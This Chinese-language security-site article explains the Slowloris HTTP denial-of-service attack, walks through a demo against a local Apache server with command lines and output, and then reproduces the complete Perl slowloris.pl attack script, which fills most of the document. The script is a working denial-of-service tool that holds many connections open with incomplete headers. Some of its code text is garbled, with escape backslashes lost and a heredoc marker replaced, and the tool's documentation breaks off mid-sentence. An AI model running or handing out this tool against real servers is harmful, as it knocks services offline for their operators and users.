首页 网络安全 安全学院 查看内容

浅谈Slowloris拒绝服务攻击

2015-9-24 18:11 2612 2

摘要: DDOS又称为分布式拒绝服务,全称是Distributed Denial of Service。DDOS本是利用合理的请求造成资源过载,导致服务不可用。比如一个停车场共有100车位,当100车位都停满后,再有车想要停进来,就必须等待已有的车先 ...
关键词: nbsp Slowloris print timeout working Server else nbs port HTTP


DDOS
又称为分布式拒绝服务,全称是Distributed Denial of ServiceDDOS本是利用合理的请求造成资源过载,导致服务不可用。比如一个停车场共有100车位,当100车位都停满后,再有车想要停进来,就必须等待已有的车先出去才行。如果已有的车一直不出去,那么停车场的入口就会排气长队,停车场的负荷过载,不能正常工作了,这种情况就是拒绝服务

        常见的DDOS攻击有SYN floodUDP floodICMP flood等。其中SYN flood是一种最为经典的DDOS攻击。其利用的是TCP协议设计中的缺陷,此处先避开不谈。

        Slowloris攻击则是利用Web Server的漏洞或设计缺陷,直接造成拒绝服务。下面通过一个典型示例分析slowloris的拒绝服务攻击本质。

        Slowloris是在2009年由著名Web安全专家RSnake提出的一种攻击方法,其原理是以极低的速度往服务器发送HTTP请求。由于Web Server对于并发的连接数都有一定的上限,因此若是恶意地占用住这些连接不释放,那么Web Server的所有连接都将被恶意连接占用,从而无法接受新的请求,导致拒绝服务。

        要保持住这个连接,RSnake构造了一个畸形的HTTP请求,准确地说,是一个不完整的HTTP请求。

        GET / HTTP/1.1\r\n

        HOST: host\r\n

        User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3;     .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n

        Content-Length: 42\r\n

        在正常的HTTP包头中,是以两个CLRF表示HTTP Headers部分结束的。

由于Web Server只收到了一个\r\n,因此将认为HTTP Headers部分没有结束,并保持此连接不释放,继续等待完整的请求。此时客户端再发送任意HTTP头,保持住连接即可。

X-a: b\r\n

当构造多个连接后,服务器的连接数很快就会达到上限。在Slowloris的专题网站上可以下载到POC演示程序,其核心代码置于文章底部,记为slowloris.pl),下面开始使用该脚本工具演示如何使用slowloris攻击使Web Server拒绝服务:

一,准备工作

1.在本机安装配置好Apache2.x,设置MaxClients为50

2.在Browser中访问http://127.0.0.1,结果显示正常

3.下载或编写slowloris.pl脚本

二,开始阶段

1.测试每个http连接等待超时时间,前面我们说过,当Web Server只收到了一个\r\n时,因将其认为HTTP Headers部分尚未结束,故会保持此连接不释放,继续等待完整的请求,此处测试的即为该连接等待完整请求的超时时间。

perl slowloris.pl -dns 127.0.0.1 -port 80 -test

Defaulting to a 5 second tcp connection timeout.

Multithreading enabled.

This test could take up to 14.3666666666667 minutes.

Connection successful, now comes the waiting game...

Trying a 2 second delay: 

Worked.

Trying a 30 second delay: 

Worked.

Trying a 90 second delay: 

Worked.

Trying a 240 second delay: 

Worked.

……

注:若该等待超时时间太小(<166),则使用slowloris对该目标进行攻击可能会出现麻烦

2.正式开始发送不完整请求,攻击Web Server使其拒绝服务。注:因此处我们已将Apache的MaxClients设置为50,故此处使用100个不完整连接已足够。

perl slowloris.pl -dns 127.0.0.1 -port 80 -timeout 200 -num 100

Defaulting to a 5 second tcp connection timeout.

Multithreading enabled.

Connecting to 127.0.0.1:80 every 200 seconds with 100 sockets:

Building sockets.

Building sockets.

Sending data.

Current stats: Slowloris has now sent 294 packets successfully.

This thread now sleeping for 200 seconds...


Sending data.

……

三,验证结果

使用chrome或firefox并打开其debug工具,继续访问http://127.0.0.1,则可发型在HttpRequest发出去后,HttpResponse一直没有收到,出于等待状态。


总结:在该案例中,“有限”的资源是Web Server的连接数。这是一个有上限的值,比如在Apache中这个值由MaxClients定义。如果恶意客户端可以无**地将连接数占满,就完成了对有限资源的恶意消耗,导致拒绝服务。

在Slowloris发布之前,也曾有人意识到这一问题,但Apache官方否认Slowloris的攻击方式是一个漏洞,他们认为这是Web Server的一种特性,通过调整参数能够缓解此类问题,这使得Slowloris攻击今天仍然很有效。


【注:本文引用了“白帽子讲Web安全”部分定义内容,slowloris脚本则在网络上有成熟和一直在维护的版本下载】

  1. #!/usr/bin/perl -w  
  2. use strict;  
  3. use IO::Socket::INET;  
  4. use IO::Socket::SSL;  
  5. use Getopt::Long;  
  6. use Config;  
  7.   
  8. $SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors  
  9.   
  10. my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );  
  11. my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );  
  12. my $result = GetOptions(  
  13.     'shost=s' => $shost,  
  14.     'dns=s' => $host,  
  15.     'httpready' => $httpready,  
  16.     'num=i' => $connections,  
  17.     'cache' => $cache,  
  18.     'port=i' => $port,  
  19.     'https' => $ssl,  
  20.     'tcpto=i' => $tcpto,  
  21.     'test' => $test,  
  22.     'timeout=i' => $timeout,  
  23.     'version' => $version,  
  24. );  
  25.   
  26. if ($version) {  
  27.     print "Version 0.7n";  
  28.     exit;  
  29. }  
  30.   
  31. unless ($host) {  
  32.     print "Usage:nntperl $0 -dns [www.example.com] -optionsn";  
  33.     print "ntType 'perldoc $0' for help with options.nn";  
  34.     exit;  
  35. }  
  36.   
  37. unless ($port) {  
  38.     $port = 80;  
  39.     print "Defaulting to port 80.n";  
  40. }  
  41.   
  42. unless ($tcpto) {  
  43.     $tcpto = 5;  
  44.     print "Defaulting to a 5 second tcp connection timeout.n";  
  45. }  
  46.   
  47. unless ($test) {  
  48.     unless ($timeout) {  
  49.         $timeout = 100;  
  50.         print "Defaulting to a 100 second re-try timeout.n";  
  51.     }  
  52.     unless ($connections) {  
  53.         $connections = 1000;  
  54.         print "Defaulting to 1000 connections.n";  
  55.     }  
  56. }  
  57.   
  58. my $usemultithreading = 0;  
  59. if ( $Config{usethreads} ) {  
  60.     print "Multithreading enabled.n";  
  61.     $usemultithreading = 1;  
  62.     use threads;  
  63.     use threads::shared;  
  64. }  
  65. else {  
  66.     print "No multithreading capabilites found!n";  
  67.     print "Slowloris will be slower than normal as a result.n";  
  68. }  
  69.   
  70. my $packetcount : shared = 0;  
  71. my $failed : shared = 0;  
  72. my $connectioncount : shared = 0;  
  73.   
  74. srand() if ($cache);  
  75.   
  76. if ($shost) {  
  77.     $sendhost = $shost;  
  78. }  
  79. else {  
  80.     $sendhost = $host;  
  81. }  
  82. if ($httpready) {  
  83.     $method = "POST";  
  84. }  
  85. else {  
  86.     $method = "GET";  
  87. }  
  88.   
  89. if ($test) {  
  90.     my @times = ( "2", "30", "90", "240", "500" );  
  91.     my $totaltime = 0;  
  92.     foreach (@times) {  
  93.         $totaltime = $totaltime + $_;  
  94.     }  
  95.     $totaltime = $totaltime / 60;  
  96.     print "This test could take up to $totaltime minutes.n";  
  97.   
  98.     my $delay = 0;  
  99.     my $working = 0;  
  100.     my $sock;  
  101.   
  102.     if ($ssl) {  
  103.         if (  
  104.             $sock = new IO::Socket::SSL(  
  105.                 PeerAddr => "$host",  
  106.                 PeerPort => "$port",  
  107.                 Timeout => "$tcpto",  
  108.                 Proto => "tcp",  
  109.             )  
  110.           )  
  111.         {  
  112.             $working = 1;  
  113.         }  
  114.     }  
  115.     else {  
  116.         if (  
  117.             $sock = new IO::Socket::INET(  
  118.                 PeerAddr => "$host",  
  119.                 PeerPort => "$port",  
  120.                 Timeout => "$tcpto",  
  121.                 Proto => "tcp",  
  122.             )  
  123.           )  
  124.         {  
  125.             $working = 1;  
  126.         }  
  127.     }  
  128.     if ($working) {  
  129.         if ($cache) {  
  130.             $rand = "?" . int( rand(99999999999999) );  
  131.         }  
  132.         else {  
  133.             $rand = "";  
  134.         }  
  135.         my $primarypayload =  
  136.             "GET /$rand HTTP/1.1rn"  
  137.           . "Host: $sendhostrn"  
  138.           . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)rn"  
  139.           . "Content-Length: 42rn";  
  140.         if ( print $sock $primarypayload ) {  
  141.             print "Connection successful, now comes the waiting game...n";  
  142.         }  
  143.         else {  
  144.             print  
  145. "That's odd - I connected but couldn't send the data to $host:$port.n";  
  146.             print "Is something wrong?nDying.n";  
  147.             exit;  
  148.         }  
  149.     }  
  150.     else {  
  151.         print "Uhm... I can't connect to $host:$port.n";  
  152.         print "Is something wrong?nDying.n";  
  153.         exit;  
  154.     }  
  155.     for ( my $i = 0 ; $i <= $#times ; $i++ ) {  
  156.         print "Trying a $times[$i] second delay: n";  
  157.         sleep( $times[$i] );  
  158.         if ( print $sock "X-a: brn" ) {  
  159.             print "tWorked.n";  
  160.             $delay = $times[$i];  
  161.         }  
  162.         else {  
  163.             if ( $SIG{__WARN__} ) {  
  164.                 $delay = $times[ $i - 1 ];  
  165.                 last;  
  166.             }  
  167.             print "tFailed after $times[$i] seconds.n";  
  168.         }  
  169.     }  
  170.   
  171.     if ( print $sock "Connection: Closernrn" ) {  
  172.         print "Okay that's enough time. Slowloris closed the socket.n";  
  173.         print "Use $delay seconds for -timeout.n";  
  174.         exit;  
  175.     }  
  176.     else {  
  177.         print "Remote server closed socket.n";  
  178.         print "Use $delay seconds for -timeout.n";  
  179.         exit;  
  180.     }  
  181.     if ( $delay < 166 ) {  
  182.         print <<EO禁用词语S2BU;  
  183. Since the timeout ended up being so small ($delay seconds) and it generally   
  184. takes between 200-500 threads for most servers and assuming any latency at   
  185. all... you might have trouble using Slowloris against this target. You can   
  186. tweak the -timeout flag down to less than 10 seconds but it still may not   
  187. build the sockets in time.  
  188. EO禁用词语S2BU  
  189.     }  
  190. }  
  191. else {  
  192.     print  
  193. "Connecting to $host:$port every $timeout seconds with $connections sockets:n";  
  194.   
  195.     if ($usemultithreading) {  
  196.         domultithreading($connections);  
  197.     }  
  198.     else {  
  199.         doconnections( $connections, $usemultithreading );  
  200.     }  
  201. }  
  202.   
  203. sub doconnections {  
  204.     my ( $num, $usemultithreading ) = @_;  
  205.     my ( @first, @sock, @working );  
  206.     my $failedconnections = 0;  
  207.     $working[$_] = 0 foreach ( 1 .. $num ); #initializing  
  208.     $first[$_] = 0 foreach ( 1 .. $num ); #initializing  
  209.     while (1) {  
  210.         $failedconnections = 0;  
  211.         print "ttBuilding sockets.n";  
  212.         foreach my $z ( 1 .. $num ) {  
  213.             if ( $working[$z] == 0 ) {  
  214.                 if ($ssl) {  
  215.                     if (  
  216.                         $sock[$z] = new IO::Socket::SSL(  
  217.                             PeerAddr => "$host",  
  218.                             PeerPort => "$port",  
  219.                             Timeout => "$tcpto",  
  220.                             Proto => "tcp",  
  221.                         )  
  222.                       )  
  223.                     {  
  224.                         $working[$z] = 1;  
  225.                     }  
  226.                     else {  
  227.                         $working[$z] = 0;  
  228.                     }  
  229.                 }  
  230.                 else {  
  231.                     if (  
  232.                         $sock[$z] = new IO::Socket::INET(  
  233.                             PeerAddr => "$host",  
  234.                             PeerPort => "$port",  
  235.                             Timeout => "$tcpto",  
  236.                             Proto => "tcp",  
  237.                         )  
  238.                       )  
  239.                     {  
  240.                         $working[$z] = 1;  
  241.                         $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK  
  242.                     }  
  243.                     else {  
  244.                         $working[$z] = 0;  
  245.                     }  
  246.                 }  
  247.                 if ( $working[$z] == 1 ) {  
  248.                     if ($cache) {  
  249.                         $rand = "?" . int( rand(99999999999999) );  
  250.                     }  
  251.                     else {  
  252.                         $rand = "";  
  253.                     }  
  254.                     my $primarypayload =  
  255.                         "$method /$rand HTTP/1.1rn"  
  256.                       . "Host: $sendhostrn"  
  257.                       . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)rn"  
  258.                       . "Content-Length: 42rn";  
  259.                     my $handle = $sock[$z];  
  260.                     if ($handle) {  
  261.                         print $handle "$primarypayload";  
  262.                         if ( $SIG{__WARN__} ) {  
  263.                             $working[$z] = 0;  
  264.                             close $handle;  
  265.                             $failed++;  
  266.                             $failedconnections++;  
  267.                         }  
  268.                         else {  
  269.                             $packetcount++;  
  270.                             $working[$z] = 1;  
  271.                         }  
  272.                     }  
  273.                     else {  
  274.                         $working[$z] = 0;  
  275.                         $failed++;  
  276.                         $failedconnections++;  
  277.                     }  
  278.                 }  
  279.                 else {  
  280.                     $working[$z] = 0;  
  281.                     $failed++;  
  282.                     $failedconnections++;  
  283.                 }  
  284.             }  
  285.         }  
  286.         print "ttSending data.n";  
  287.         foreach my $z ( 1 .. $num ) {  
  288.             if ( $working[$z] == 1 ) {  
  289.                 if ( $sock[$z] ) {  
  290.                     my $handle = $sock[$z];  
  291.                     if ( print $handle "X-a: brn" ) {  
  292.                         $working[$z] = 1;  
  293.                         $packetcount++;  
  294.                     }  
  295.                     else {  
  296.                         $working[$z] = 0;  
  297.                         #debugging info  
  298.                         $failed++;  
  299.                         $failedconnections++;  
  300.                     }  
  301.                 }  
  302.                 else {  
  303.                     $working[$z] = 0;  
  304.                     #debugging info  
  305.                     $failed++;  
  306.                     $failedconnections++;  
  307.                 }  
  308.             }  
  309.         }  
  310.         print  
  311. "Current stats:tSlowloris has now sent $packetcount packets successfully.nThis thread now sleeping for $timeout seconds...nn";  
  312.         sleep($timeout);  
  313.     }  
  314. }  
  315.   
  316. sub domultithreading {  
  317.     my ($num) = @_;  
  318.     my @thrs;  
  319.     my $i = 0;  
  320.     my $connectionsperthread = 50;  
  321.     while ( $i < $num ) {  
  322.         $thrs[$i] =  
  323.           threads->create( &doconnections, $connectionsperthread, 1 );  
  324.         $i += $connectionsperthread;  
  325.     }  
  326.     my @threadslist = threads->list();  
  327.     while ( $#threadslist > 0 ) {  
  328.         $failed = 0;  
  329.     }  
  330. }  
  331.   
  332. __END__  
  333.   
  334. =head1 TITLE  
  335.   
  336. Slowloris  
  337.   
  338. =head1 VERSION  
  339.   
  340. Version 0.7 Beta  
  341.   
  342. =head1 DATE  
  343.   
  344. 06/17/2009  
  345.   
  346. =head1 AUTHOR  
  347.   
  348. RSnake <[email protected]> with threading from John Kinsella  
  349.   
  350. =head1 ABSTRACT  
  351.   
  352. Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons.  
  353.   
  354. =head1 AFFECTS  
  355.   
  356. Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...?  
  357.   
  358. =head1 NOT AFFECTED  
  359.   
  360. IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?  
  361.   
  362. =head1 DESCRIPTION  
  363.   
  364. Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more data. Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts. There is an added function to help you get started with finding the right sized timeouts as well.  
  365.   
  366. As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances. Think of Slowloris as the HTTP equivalent of a S
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

返回顶部